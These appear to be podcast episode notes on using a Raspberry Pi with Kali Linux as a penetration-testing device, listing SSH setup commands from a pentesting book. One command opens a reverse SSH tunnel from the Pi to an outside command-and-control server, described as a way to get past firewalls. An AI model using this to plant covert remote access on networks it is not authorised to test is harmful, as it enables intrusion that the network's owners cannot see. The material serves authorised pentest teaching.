In this episode, Dorothy goes back to her Raspberry Pi & Kali Linux project. She talks about ssh, changing the factory keys, and the C&C server. We also talk about bypassing firewalls with a revers ssh shell.

The Book

  1. Penetration testing with Raspberry Pi

Commands

  1. List services: service –status-all
  2. Run level & service configuration: update-rc.d -f remove
  3. Run level & service configuration: update-rc.d -f ssh defaults
  4. Generating new ssh keys: dpkg-reconfigure openssh-server
  5. Reverse shell from the Pi: ssh -fN -R 7000:localhost:22 user@ip-of-C&C-server
  6. Connecting on the C&C server: ssh root@localhost -p 7000